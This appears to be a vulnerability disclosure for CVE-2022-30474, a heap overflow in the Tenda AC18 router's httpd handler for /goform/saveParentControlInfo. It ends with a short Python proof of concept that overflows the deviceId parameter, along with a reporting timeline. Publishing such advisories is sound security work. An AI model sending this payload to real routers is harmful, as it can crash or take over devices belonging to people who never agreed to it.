Headline
CVE-2022-30474: VulnRepo/IoT/Tenda/5 at master · lcyfrank/VulnRepo
Tenda AC Series Router AC18_V15.03.05.19(6318) was discovered to contain a heap overflow in the httpd module when handling /goform/saveParentControlInfo request.
Tenda Router AC18 Vulnerability
This vulnerability lies in the /goform/saveParentControlInfo page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))
Vulnerability Description
There is a heap overflow vulnerability in function saveParentControlInfo.
In function saveParentControlInfo it reads user provided parameter deviceId into src, and this variable is passed into function strcpy without any length check, which may overflow the heap-based buffer ptr.
So by requesting the page /goform/saveParentControlInfo, the attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.
PoC
import requests
IP = “10.10.10.1” url = f"http://{IP}/goform/saveParentControlInfo?" url += “deviceId=” + “s” * 0x1000
response = requests.get(url)
Timeline
- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30474)
Acknowledge
Credit to @peanuts and @cylin from IIE, CAS.